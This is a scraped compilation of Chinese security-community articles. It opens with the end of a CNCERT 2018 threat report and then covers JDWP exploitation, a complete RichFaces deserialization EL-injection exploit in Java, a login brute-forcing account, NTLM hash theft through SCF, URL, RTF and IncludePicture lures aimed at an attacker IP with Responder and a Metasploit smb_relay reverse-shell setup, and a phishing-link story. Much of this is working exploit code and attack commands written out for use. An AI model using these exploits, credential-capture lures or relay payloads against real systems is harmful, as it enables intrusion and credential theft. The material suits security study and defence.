。2018年，CNCERT使用该平台，对主流工控设备和网络安全专用产品进行了安全入网抽检，并对电力二次设备进行了专项安全测试。在所涉及35个国内外主流厂商的87个型号产品中共发现232个高危漏洞，可能产生的风险包括拒绝服务攻击、远程命令执行、信息泄露等，如图15所示。利用这些漏洞，攻击者可使工控设备宕机，甚至获取设备控制权限，可能对其他工业网络设备发起攻击。CNCERT还分析发现，在电力设备测试中发现部分漏洞呈现同源性特征，经分析因大多数电力设备厂商在实现IEC
61850协议（电力系统最重要的通信协议之一）时都采用了美国SISCO公司的第三方开发套件，显示了较严重的产品供应链安全风险。
图15 2018年工业网络产品安全检测中发现的高危漏洞类型分布
#### （二）联网工业设备和工业云平台暴露情况
2018年，CNCERT不断升级监测手段，扩大监测范围，进一步加强了针对联网工业设备和工业云平台的网络安全问题跟踪，全年累计发现境外对我国暴露工业资产的恶意嗅探事件约4,451万起，较2017年数量暴增约17倍；发现我国境内暴露的联网工业设备数量共计6,020个，涉及西门子、韦益可自控、罗克韦尔等37家国内外知名厂商产品，如图16所示，这些联网设备的厂商、型号、版本、参数等信息遭恶意嗅探。另外，CNCERT发现具有一定规模的工业云平台30多家，业务涉及能源、金融、物流、智能制造、智慧城市等方面，并监测发现根云、航天云网、COSMOPlat、OneNET、OceanConnect等大型工业云平台持续遭受漏洞利用、拒绝服务、暴力破解等网络攻击，工业云平台正逐渐成为网络攻击的重点目标。
图16 2018年发现的联网工业设备厂商分布情况
#### （三）重点行业远程巡检情况
电力、石化等重点行业的生产监控管理系统因存在网络配置疏漏等问题，可能会直接暴露在互联网上，一旦遭受网络攻击，影响巨大。为评估重要行业联网工业监控管理系统的网络安全风险情况，2018年CNCERT对电力、城市公用工程、石油天然气三个行业开展了远程安全巡检工作，发现电力行业暴露相关监控管理系统532个，涉及政府监管、电企管理、用电管理和云平台4大类；城市公用工程行业暴露相关监控管理系统1,015个，涉及供水、供暖和燃气3大类；石油天然气行业暴露相关监控管理系统298个，涉及油气开采、油气运输、油气存储、油品销售、化工生产和政府监管6大类，如图17所示。同时，CNCERT分析发现，电力、城市公用工程和石油天然气三个行业的联网监控管理系统均存在高危漏洞隐患，各自占监控管理系统的比例为10%、28%和35%，且部分暴露的监控管理系统存在遭境外恶意嗅探、网络攻击的情况。
图17 2018年发现的重点行业联网监控管理系统分类
### 六、互联网金融安全
为实现对我国互联网金融平台网络安全总体态势的宏观监测，CNCERT发挥技术优势，建设了国家互联网金融风险分析技术平台网络安全监测功能，对我国互联网金融相关网站、移动APP等的安全风险进行监测。2018年，CNCERT支撑相关部门，就北京地区275家网贷机构运营的275个网贷平台网站、192个移动APP进行网络安全检查，并对其提交的落实网络安全工作的材料进行审核，以作为这些网贷机构能够获得网贷备案的必要条件。
#### （一）互联网金融网站安全情况
2018年，CNCERT发现互联网金融网站的高危漏洞1,700个，其中XSS跨站脚本类型漏洞占比最多有782个（占比46.0%）；其次是SQL注入漏洞476个（占比28.0%）和远程代码执行漏洞85个（占比5.0%），如图18所示。近年来，随着互联网金融行业的发展，互联网金融平台运营者的网络安全意识有所提升，互联网金融平台的网络安全防护能力有所加强，特别是规模较大的平台，但仍有部分平台安全防护能力不足，安全隐患较多，CNCERT监测发现高危互联网金融网站330个，其中部分平台存在的高危漏洞数量超过10项。
图18 互联网金融网站高危漏洞分布情况
#### （二）互联网金融APP安全情况
在移动互联网技术发展和应用普及的背景下，用户通过互联网金融APP进行投融资的活动愈加频繁，绝大多数的互联网金融平台通过移动APP开展业务，且有部分平台仅通过移动APP开展业务。2018年，CNCERT对430个互联网金融APP进行检测，发现安全漏洞1,005个，其中高危漏洞240个，明文数据传输漏洞数量最多有50个(占高危漏洞数量的20.8%)，其次是网页视图（Webview）明文存储密码漏洞有48个（占20.0%）和源代码反编译漏洞有31个（占12.9%），如图19所示。这些安全漏洞可能威胁交易授权和数据保护，存在数据泄露风险，其中部分安全漏洞影响应用程序的文件保护，不能有效阻止应用程序被逆向或者反编译，进而使应用暴露出多种安全风险。
图19 互联网金融移动APP高危漏洞分布情况
#### （三）区块链系统安全情况
伴随互联网金融的发展，攻击者攻击互联网金融平台牟利的手段不断升级，并融合了金融业务特征，出现“互联网+金融”式攻击，尤其是在区块链数字货币等业务领域表现得更为明显。首先，区块链系统往往自带金融属性，直接运行数字货币等资产；其次，区块链相关代码多为开源，容易暴露风险；第三，区块链系统在对等网络环境中运行，网络中的节点防护能力有限；第四，用户自行保管私钥，一旦丢失或盗取无法找回；第五，相关业务平台发展时间短，系统安全防护经验和手段不完善、全面性和强度不足。2018年3月，虚拟数字货币交易平台“币安”遭攻击。攻击者盗取用户在该平台的交易接口密钥，通过自动化交易大幅拉升“维尔币（VIA）”的价格。攻击者提前在币安埋下VIA的高价卖单，利用其巨额涨幅获取暴利。同时黑客通过散播攻击的消息，导致短时间市场出现恐慌，市场价格大幅下跌，黑客也可在其他交易平台通过瞬时做空的形式获利；这种攻击方式通过盗取用户信息恶意操纵行情变化获利，方式新颖，防范难度大。
报告中引用的第三方数据：
①③④相关数据来源于
卡巴斯基全球DDoS攻击趋势报告（2015.Q1-2018.Q4）
中国电信云堤、绿盟科技联合发布的《2018DDoS攻击态势报告》
阿里云《2018年DDoS攻击全态势：战胜第一波攻击成“抗D” 关键》
②相关信息来源于
360威胁情报中心[《全球高级持续性威胁(APT)2018年报告》](https://paper.seebug.org/783/
"《全球高级持续性威胁\(APT\)2018年报告》")
⑤相关数据来源于
中国互联网络信息中心发布的第43次《中国互联网络发展状况统计报告》
* * * | 社区文章 |
## JDWP
JDWP 是 Java Debug Wire Protocol 的缩写，在JPDA（Java Platform Debugger
Architecture）中，它定义了调试器（debugger）和被调试的 Java 虚拟机（target vm）之间的通信协议。
与PHP的 `Xdebug` 类似，当其调试端口直接开放在公网上时，很容易被攻击者攻击并且获取系统权限。
#### Useful link:
JDWP：<https://docs.oracle.com/en/java/javase/11/docs/specs/jdwp/jdwp-protocol.html>
JDPA：<https://docs.oracle.com/en/java/javase/11/docs/specs/jpda/architecture.html>
具体协议标准请参照：
<https://www.ibm.com/developerworks/cn/java/j-lo-jpda1/index.html?ca=drs->
## 探测 JDWP 服务
JDWP并无固定的端口，当未指定调试端口时，则会随机指定一个空闲端口。
> 启动JDWP参数:
> java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000
> -jar spring-boot-demo-helloworld.jar
>
> #### nmap
>
> `nmap -sT 192.168.0.100 -p8000 -sV`
> 测试了一下，并不是特别的精准，需要扫描多次。
>
#### Masscan
通过握手包特征字符串 `JDWP-Handshake` ，可以使Masscan识别特定服务。
规则配置文件：
<https://github.com/IOActive/jdwp-shellifier/blob/master/jdwp-masscan.cfg>
默认为扫全球，并且限定了端口，请自行修改。
#### 自实现
demo(python2):
import socket
client = socket.socket()
client.connect(("192.168.0.100", 8000))
client.send("JDWP-Handshake")
if client.recv(14)=="JDWP-Handshake":
print "[*] Detected JDWP service"
client.close()
## 漏洞利用
#### jdwp-shellifier
项目地址：
<https://github.com/IOActive/jdwp-shellifier>
作者通过编写了一个JDI（JDWP客户端），通过下断点的方式，获得线程上下文从而调用方法执行命令。
具体实现：<http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html>
优点： 轻量，容易集成到扫描器中
缺点： 使用下断点的方式执行命令，需要猜测调用的方法，并且需要等待直到触发击中断点。
#### msf
项目地址：
<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb>
与jdwp-shellifier不同，这个exp的作者想到了更为直接的办法：直接去sleeping的线程，下发单步指令，然后就可以断下来了...具体原理我也没有太弄清楚。
优点： 更为通用，不用猜测调用方法以及等待
缺点： 依赖metasploit框架，直接上传msf木马而不是执行命令，容易被发现。
#### jdb
java debugger，随JDK安装。
远程attach调试：
`jdb -attach 192.168.0.100:8000`
利用方式, 这里直接使用msf中exp的姿势：
1. attach远程地址
2. `threads`命令查看所有线程，查找sleeping的线程
3. `thread 线程id`命令
4. 通过(print|dump|eval)命令，执行java表达式，从而达成命令执行
优点： 非常直接，简单的利用
缺点： 不容易集成
#### 自实现EXP
通过学习以上几种利用方式，通过抓包分析、学习协议，结合jdwp-shellifier中实现的JDWP-CLIENT，非常容易重现msf的exp，实现轻量方便的利用。
项目地址：
<https://github.com/Lz1y/jdwp-shellifier>
可以发现原版脚本执行，断点一旦没有猜中，给我们的就是无尽的等待，修改后的脚本则可以实时的得到反馈。
## 文末
此文章主要还是利用层面占比较重。在原理方面，文中的链接已经说明非常清晰了，没有必要在复述一遍。 | 社区文章 |
**作者：lucifaer
作者博客：<https://www.lucifaer.com/>**
RF-14310，另一个RichFaces的漏洞，利用面要比CVE-14667广。
### 0x00 漏洞概述
> JBoss RichFaces 3.1.0 through 3.3.4 allows unauthenticated remote attackers
> to inject expression language (EL) expressions and execute arbitrary Java
> code via a /DATA/ substring in a path with an
> org.richfaces.renderkit.html.Paint2DResource$ImageData object, aka RF-14310.
根据漏洞描述，可以知道漏洞可以通过`org.richfaces.renderkit.html.Paint2DResource$ImageData`对象注入EL表达式来完成远程任意代码执行的漏洞。
### 0x01 整体触发流程
这个漏洞是在CVE-2018-14667之前爆出的，CVE-2018-14667的触发流程和其非常相似所以只谈几个较为重要的点。
总体来说这个洞还是出现在`RichFaces`资源加载的地方，可以说14667是这个漏洞的另一种利用方式。
当一个资源请求被调用时就会调用`org.ajax4jsf.resource.ResourceLifecycle`类，而在该类中实现资源发送的方法是`send`，在`send`中主要的功能由`sendResource`方法实现，而在`sendResource`又存在一个关键性的`send`方法：
我们看一下`send`方法的继承类：
在CVE-2018-14667中可以使用`UserResource`的`send`触发点来执行EL表达式，而在RF-14310中是利用`Paint2DResource`来执行EL表达式的。
### 0x02 漏洞分析
重复的反序列化那一部分就不再赘述，主要看触发流程。
#### 2.1 反序列化流程
根据0x01中的继承关系，我们直接看漏洞触发点`Paint2DResource`这个类的`send`方法：
可以看到这里的`ImageData`同样来自于`restoreData`这个方法，而这个方法同样是利用`getResourceData`来从`resourceData`映射中获取资源，而`setResourceData`的过程同样在`org.ajax4jsf.resource.InternetResourceService$serviceResource`中。
所以反序列化流程是和CVE-2018-14667相同的。
#### 2.2 EL执行点
跟进`MethodBinding`的`invoke`方法：
可以看到在`MethodBinding`调用`invoke`之前，`MethodBinding`就已经执行了EL表达式。也就是说可以在`ImageData`的`_paint`属性中加入我们的EL表达式，下个断点来证明我们的想法：
值得注意的是，在构造poc时，需要使用`MethodExpression`的对象，这就意味着需要附加一个针对不同Tomcat版本的ssid(serialVersionUID)。
#### 2.3 触发流程
就像0x01中所说的一样，在加载资源类时都会调用，和CVE-2018-14667不同的是，RF-14310利用时并不需要资源对象为缓存类对象，同时对于资源请求的标签没有限制，没有要求`InternetResource`必须为`userResource`：
所以说可以直接发包调用资源触发漏洞。
### 0x03 构造POC
和CVE-2018-14667相同的部分就不重复说了，以下就谈一下写这个POC需要注意的几个点。
#### 3.1 `suid`（serialVersionUID）的限制
`suid`的主要作用简单来说就是保证序列化对象与反序列化对象的一致性，
**在richfaces中是调用javax.el.*来实现的，而不是调用lib中的org.jboss.el.**
*来实现的，所以在写poc时最好利用反射把`javax.el.MethodExpression`中的`serialVersionUID`重写一下，保证在面对不同容器版本时设置不同的`serialVersionUID`：
// tomcat8.5.24 MethodExpression serialVersionUID
Long MethodExpressionSerialVersionUID = 8163925562047324656L;
Class clazz = Class.forName("javax.el.MethodExpression");
Field field = clazz.getField("serialVersionUID");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(null, MethodExpressionSerialVersionUID);
当然也可以手动导入不同版本容器的`el-api.jar`来实现。
#### 3.2 选择合适的利用链
我根据CVE-2018-14667的poc选择了：
javax.faces.component.StateHolderSaver
com.sun.facelets.el.LegacyMethodBinding
com.sun.facelets.el.TagMethodExpression
com.sun.facelets.tag.TagAttribute
org.jboss.el.MethodExpressionImpl
expr = poc
这个是我觉得最简单的一个利用链了，当然在`LegacyMethodBinding`可以换成除了`ConstantMethodBinding`和`SimpleActionMethodBinding`的任意一个。
#### 3.3 利用反射给`private static final`对象赋值
其实问题的关键点在于如何利用反射去给
public class public class Paint2DResource extends InternetResourceBase{
private static final class ImageData implements SerializableResource{
}
}
这样的类型赋值，同时要注意到`private static final class
ImageData`是没有无参，无构造函数的私有类，所以没有办法直接通过`getDeclaredClass()`直接获取。方法就是首先反射创建`Paint2DResource`对象：
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
这里的`getDeclaredClasses`返回`Paint2DResource`的所有构造器，之后遍历该对象中所有的构造器找到构造器名称中带有`private`的构造器，然后进行赋值操作：
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
这里需要注意`c.getDeclaredConstructor()`参数应为空说明获得的是一个无参的构造器，而`cc.newInstance(null)`参数为`null`说明实例化的是一个无构造函数的对象。
#### 完整版POC
import com.sun.facelets.el.LegacyMethodBinding;
import com.sun.facelets.el.TagMethodExpression;
import com.sun.facelets.tag.TagAttribute;
import com.sun.facelets.tag.Location;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;
public class CVE_2018_12533 {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";
// 根据文章https://www.anquanke.com/post/id/160338
Class cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Location location = new Location("", 0, 0);
TagAttribute tagAttribute = new TagAttribute(location, "", "", "", "createContent="+pocEL);
// 1. 设置ImageData
// 构造ImageData_paint
MethodExpressionImpl methodExpression = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, methodExpression);
MethodBinding methodBinding = new LegacyMethodBinding(tagMethodExpression);
Object _paint = ct.newInstance(null, methodBinding);
Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
Class innerClazz[] = clzz.getDeclaredClasses();
for (Class c : innerClazz){
int mod = c.getModifiers();
String modifier = Modifier.toString(mod);
if (modifier.contains("private")){
Constructor cc = c.getDeclaredConstructor();
cc.setAccessible(true);
Object imageData = cc.newInstance(null);
// 设置ImageData_width
Field _widthField = imageData.getClass().getDeclaredField("_width");
_widthField.setAccessible(true);
_widthField.set(imageData, 300);
// 设置ImageData_height
Field _heightField = imageData.getClass().getDeclaredField("_height");
_heightField.setAccessible(true);
_heightField.set(imageData, 120);
// 设置ImageData_data
Field _dataField = imageData.getClass().getDeclaredField("_data");
_dataField.setAccessible(true);
_dataField.set(imageData, null);
// 设置ImageData_format
Field _formatField = imageData.getClass().getDeclaredField("_format");
_formatField.setAccessible(true);
_formatField.set(imageData, 2);
// 设置ImageData_paint
Field _paintField = imageData.getClass().getDeclaredField("_paint");
_paintField.setAccessible(true);
_paintField.set(imageData, _paint);
// 设置ImageData_paint
Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
cacheableField.setAccessible(true);
cacheableField.set(imageData, false);
// 设置ImageData_bgColor
Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
_bgColorField.setAccessible(true);
_bgColorField.set(imageData, 0);
// 2. 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(imageData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
// 3. 加密（zip+base64）
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
// 4. 打印最后的poc
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}
}
}
效果：
### 0x04 Reference
* <https://access.redhat.com/security/cve/cve-2018-12533>
* <https://dzone.com/articles/what-is-serialversionuid>
* <https://docs.oracle.com/javaee/6/tutorial/doc/bnahu.html>
* * * | 社区文章 |
拿到手域名一个 cc.test.com 打开后直接就是一个登陆框
随手输入admin准备打密码，提示管理员不存在
说明此处可以爆破用户名，使用字典爆破得到三个用户名
test
wangw
wangy
登陆抓包密码被md5加密了
使用多账号爆破小字典爆破三个账号的密码，没有爆出来
使用常用弱口令top5000爆破依然爆破不出来
根据厂商域名生成字典（以test代替）
爆破三个用户依然爆破不成功，于是回到用户名爆破，可以注意到
wangw
wangy
这两个用户名为姓的全拼加名的简拼，于是在字典库里找了一下这种规则的用户名字典，只找到一个中国姓名top500姓全拼加简拼没啥用（应该我之前爆破的字典中就加入了这个字典）。在github上找了一圈也没找到。
于是自己制作一个这种字典，思路为找百家姓然后转换拼音×26个字母然后在加上百家姓拼音×26×26
[https://baike.baidu.com/item/%E7%99%BE%E5%AE%B6%E5%A7%93/194637?fr=aladdin](https://baike.baidu.com/item/百家姓/194637?fr=aladdin)
复制下来
使用notepad++将空格替换为换行
将复姓删除（别问我为啥感觉太少了），将汉字转为拼音
去重得到姓的拼音242个，使用字典生成器制作字典
回到爆破用户名的地方爆破得到多个用户名
使用这些用户名爆破密码top30 top5000依然爆不出来，于是针对每个用户名制作字典爆破，试到第三个的时候成功爆破出密码
进入后台，轻松挖到注入两枚 | 社区文章 |
# 前言
在内网渗透的过程中，最重要的就是信息搜集，但是在极端情况下我们找不到能够横或者跨域的机器，那么这时候我们就可以尝试做一个水坑，来尝试获取hash。当然这只是理想情况，在愈发强调对抗的当下，利用水坑钓鱼也变得不是那么简单。
# 本地认证
既然是获取hash就需要一些基础知识，这里首先说以下本地认证。在Windows中，密码Hash称之为NTLM
Hash，这个NTLM是一种网络认证协议，与NTLM Hash的关系就是：NTLM网络认证协议是以NTLM
Hash作为根本凭证进行认证的协议。在本地认证的过程中，其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较
假设我的密码是admin，那么操作系统会将admin转换为十六进制，经过Unicode转换后，再调用MD4加密算法加密，这个加密结果的十六进制就是NTLM
Hash
admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
本地认证中主要可以概括为以下三步：winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)
首先，用户注销、重启、锁屏后，操作系统会让winlogon显示登录界面，也就是输入框，接收输入后，将密码交给lsass进程，这个进程中会存一份明文密码，将明文密码加密成NTLM
Hash，对SAM数据库比较认证。
# hash传递&窃取
要想完成hash的窃取，首先要弄清除hash传递的本质。原则上来说进行Hash传递的条件有抓到的Net-NTLM
hash字段或hash对应的用户名。Net-NTLM协议在不同的版本上又可细分为NTLM v1，NTLMv2，NTLM session
v2三种协议，不同协议使用不同格式的Challenge和加密算法。相关Hash会出现三个地方，一是SAM数据库，二是Lsass进程，三是传输过程
之所以能够读到明文时因为去dump了lsass中缓存的用户输入得到明文，如果明文缓存不存在的情况下（比如2012/10以后系统wdigest默认没开启，明文不存在），读到的其实可以理解为都是NTLM
hash。值得注意的是：
* Net-NTLM hash和NTLM hash不是一回事
* Net-NTLM hash是Net-NTLM认证过程客户端第二次发送给服务端的包中的response字段
了解完成就会明白Net-NTLM hash的窃取主要发生在传输环节，传输环节的攻击无非三个点。第一是传输前就截取到数据包，类似与Hook
app的发包接口获取明文，第二是中间人攻击获取，第三是在接收方获取
# SCF文件
首先简单的说一下什么是scf文件
> Microsoft Windows 是使用Windows Explorer Command 文件的主要软件程序，该文件最初由 Microsoft
> Corporation开发。 网站访问者分析表明，SCF 文件通常在 Windows 10 用户计算机上找到，在 United States中最受欢迎。
> 统计上，这些用户很可能正在运行Google Chrome internet浏览器。
其实是UNC路径
> UNC，即Universal Naming
> Convention，意为通用命名规则。UNC路径就是类似\softer这样的形式的网络路径，unc共享就是指网络硬盘的共享：
>
>
> 当访问softer计算机中名为it168的共享文件夹，用UNC表示就是\softer\it168；如果是softer计算机的默认管理共享C$则用\softer\c$来表示。
可以使用SCF文件执行有限的一组操作（例如显示Windows桌面或打开Windows资源管理器）。但是，如果使用SCF文件访问特定的UNC路径，那么我们可以发起攻击
这里简单介绍下环境
攻击机kali:192.168.10.11
靶机win7:192.168.10.15
首先生成一个SCF文件
[Shell]
Command=2
IconFile=\\192.168.10.11\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
然后将这个scf文件设置为共享状态
然后使用kali上的`responder`进行监听操作
responder -I eth0
这里简单说一下`responder`，Responder是监听LLMNR和NetBIOS协议的工具之一，能够抓取网络中所有的LLMNR和NetBIOS请求并进行响应，获取最初的账户凭证。
Responder会利用内置SMB认证服务器、MSSQL认证服务器、HTTP认证服务器、HTTPS认证服务器、LDAP认证服务器，DNS服务器、WPAD代理服务器，以及FTP、POP3、IMAP、SMTP等服务器，收集目标网络中的明文凭据，还可以通过Multi-Relay功能在目标系统中执行命令。
当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash，注意这里不需要点击也可以得到，只需要能够访问即可
>
> 当用户浏览共享时，将自动从他的系统建立到SCF文件中包含的UNC路径的连接。Windows将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中，服务器会向客户端发送一个随机的8字节质询密钥，并使用此质询密钥再次加密散列的NTLM/
> LANMAN密码,我们将捕获NTLMv2哈希。
# smb中继
直接使用SCF进行攻击的一个好处就是不需要跟任何用户进行交互并且能够使用户强制进行NTLMv2
hash进行协商。这里也可以跟smb中继技术相结合，得到一个meterpreter
使用smb中继有一个比较有名的漏洞就是CVE-2020-0796，要想了解smb中继首先需要知道NTLM v2的认证流程
1.客户端向服务器发送登录请求，密码在客户端被 hash 一次
2.客户端向服务器发送 username
3.服务器返回一个 16 字节的挑战码（Challenge），并将已存储的用户密码 hash 加密这个 Challenge，生成 Challenge1
4.客户端将第一步 hash 的密码与 Challenge 再进行 hash 一次，生成 response 即 Challenge2
5.客户端将 response 发送给服务器
6.服务器比较 Challenge1 和 response，相同则认证成功
这里了解了NTLM的认证原理，那么smb中继就简单了，这里攻击者加在了中间，不断的截获流量并重放流量
使用exploit/windows/smb/smb_relay进行监听，同上操作即可拿到一个meterpreter
use exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.11
run
# 使用超链接
这里使用超链接窃取hash的原理跟LLMNR欺骗有类似之处，都是访问一个不存在的路径/程序，从而达到在本地子网发送请求的效果。这里就不扩展说LLMNR欺骗了，有兴趣的小伙伴可自行搜索
生成一个超链接，编辑超链接指向kali，注意这个qwe.exe在kali上是不存在的
\\192.168.10.11\qwe.exe
开启监听
responder -I eth0
当靶机打开这个超链接之后我们就能得到hash值
# 使用url
原理跟使用超链接类似，让靶机去访问`IconFile=\\192.168.10.11\qwe.icon`，即一个不存在的文件
生成一个`test1.url`，内容如下
c:\link.url@victim
[InternetShortcut]
URL=whatever //url内容
WorkingDirectory=whatever //url名称
IconFile=\\192.168.10.11\qwe.icon
IconIndex=1
使用responder进行监听
responder -I eth0
注意这里如果使用url的话会有点明显，会有一个uac界面的提醒，会增加被发现的可能
这里假装受害者比较笨点了这个url如下图所示
就会得到靶机的ntlm hash
# 使用RTF
何为rtf？
富文本格式（Rich Text
Format）即RTF格式，又称多文本格式，是由[微软](https://baike.baidu.com/item/微软)公司开发的跨平台[文档](https://baike.baidu.com/item/文档)格式。大多数的[文字处理](https://baike.baidu.com/item/文字处理)软件都能读取和保存RTF文档。
> *富文本格式 (RTF) 是一种方便于不同的设备、系统查看的文本和图形文档格式。
rtf文件的创建主要是为了方便在不同操作系统下创建的文件能够在多个操作系统之间进行传输和查看
生成一个`test2.rtf`，内容如下所示
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.11/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
这里出了点问题，好像是因为我是win7没有装word，所以rtf文件格式显示不出来，这里如果使用word打开是能够抓到hash的，这里就不演示了
没有抓到hash...
# 通过IncludePicture
何为IncludePicture？IncludePicture就相当于一个windows为了方便插入多个图片而设计的一个功能
这里使用ctrl+ F9可以得到一个`{ includePicture }`，我们在后面加上一个不存在的地址，组合起来就为`{ includePicture
"\\192.168.10.11\test.jpg"}`
保存为一个xml文件
上传到靶机启动即可窃取hash
欢迎关注公众号 **红队蓝军** | 社区文章 |
# 故事分享：我与ISIS的恩怨情仇
|
##### 译文声明
本文是翻译文章，文章原作者 ibrascript，文章来源：ibrascript.com
原文地址：<https://www.ibrascript.com/my-affair-with-isis-death-threats-de-anonymization-and-phishing-links/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
很多人都想成为有影响力的人，但他们却没有意识到影响力越大，责任也就越大！
如果你在上网的过程中没有安全意识的话，那么社交媒体对你来说可能会是一个非常危险的东西。这里我并不是要讨论社交媒体对人们精神层面的影响，你上瘾也好，能让你分泌更多的多巴胺也好，我都不是要讨论这些。我要讨论的东西，可能会是真实发生在你身上的身体物理层面上的威胁。
我来自苏丹，在那里，战争、死亡和宗教极端主义很常见，接下来，且听我跟大家讲一个故事…
## 背景故事
当时我刚高中毕业，在上大学之前，我有差不多六个月左右的假期，这可是爽到不能再爽的了。在那段时间里，我加入了很多当地的Facebook群组，这些群组活跃成员总共已经超过10万人了。
这些群组中充斥着关于该国难民危机、难民如何接管快餐业务、开餐馆、与当地餐馆竞争以及如何让当地餐馆赶紧倒闭之类的话题。
我偶尔也会跟群组内的其他成员讨论有关歧视方面的问题，以及如何给来自战乱国家的难民以基本权利和平等对待之类的内容。
后来有一天，事情就这样突然发生了！
## 事件发酵，迅速升级
我非常清楚地记得那天早上醒来，我的WhattsApp收到了一条消息，我记得当时这条信息是我的一个私人号码收到的，而这个号码我从未告知过他人。实际上，我的手机上只存有不到50个联系人，而且其中大部分都是我的家人以及好友。
不管怎么样，这条消息的发件人个人资料使用了一张非常吓人的头像，而且他/他们是在发送这条消息的两个小时之前才创建这个WhatsApp账号的。除此之外，发件人使用的是菲律宾的VoIP电话号码，而这种号码我此前也从未见到过。
这条消息大致内容如下：
**“你好，我们来自伊拉克和黎凡特伊斯兰国。我们最近一直在跟踪你，你的性格特点似乎跟我们非常相似。”**
我回复的信息如下：
**“我的思想跟你们的可不一样，我对你们的任何东西都不感兴趣。”**
好像我回复的消息让他们瞬间爆炸了，他们回复称：
**“好吧，我劝你“耗子尾汁”！别做傻事，否则我们会亲自到你家来拜访你，然后带你走远。可能你现在没感觉，但之后你会感谢我们指引你走向了一条正确的道路。我们知道你在xx高中上学，现在申请的是xx大学。劝你别做傻事，否则后果会非常严重！”**
我原地裂开…
好吧，我承认，这条信息确实让我有点慌，因为我知道这并不是某个朋友的恶作剧！
为此，我专门跑了一趟政府的安全和情报部门，然后报告了整个事件的详细过程，并提供了聊天记录和我所知道的全部信息。
他们让我不要慌，好好冷静一下，并表示他们会妥善处理这一件事情。
但是，即使他们这样说，当我回到家之后，那帮人还是会不断地发送各种包含了我其他的社交媒体链接的消息给我，其中还包括我上传到社交媒体的照片、自拍和个人资料等等（因为我当时比较喜欢玩Instagram）。除此之外，还有很多额外的个人信息也都泄露了，他们甚至还知道我家里其他成员的名字。
我在家里静静地坐着，发了好几个小时的呆，想着如何才能结束这场噩梦…
后来，我想到了一个办法，但是这个办法貌似失败的可能性更大，如果失败了，也许我就真的凉凉了，可能我就得面临他们口中所说的“非常严重的后果”了。
纠结了半天之后，我终于下定了决心，那就干吧！
我制作了一个重定向至我Facebook账号的钓鱼链接，然后给那帮人发送了一条内容大致如下的消息：
**“我的天呐！你是在【钓鱼链接】这里发现了我的个人信息吗???”**
幸运的是，他们中招了！接下来，我并没有继续回复他们的任何消息了。
我给安全和情报部门发送了一封电子邮件，并在其中提供了这帮坏人的IP地址和地理位置坐标。
奇怪的是，这帮坏人貌似是在我所在的城市发送的消息或者进行的操作，虽然他们使用了VoIP号码，但是却没有使用任何方法来伪造他们的IP地址，这就很搞笑了。
两三天之后，我接到了来自安全和情报部门的电话，并询问我是如何拿到这帮人的IP地址和地理位置信息的，我也乖乖地跟他们合作，并把一切都告诉了他们。
## 后话
许多人想成为有影响力的人，但他们没有意识到影响力所带来的责任和危险。当你在社交媒体上分享你的观点时，尤其是在政治和宗教等话题上，你可要格外小心了。 | 社区文章 |
# 如何在受限环境中利用Firefox执行系统命令
原文：<https://www.contextis.com/en/blog/escaping-from-mozilla-firefox-in-restricted-environments>
## 0x00 概述
在受限软件环境中，用户应该只能执行有限的几种任务，此时系统通常会使用Kiosk应用程序来减少用户与系统交互的机会。在许多环境中，系统会根据用户实际需要，只将少数几种预置的应用程序提供给用户，如Web浏览器或POS软件等。
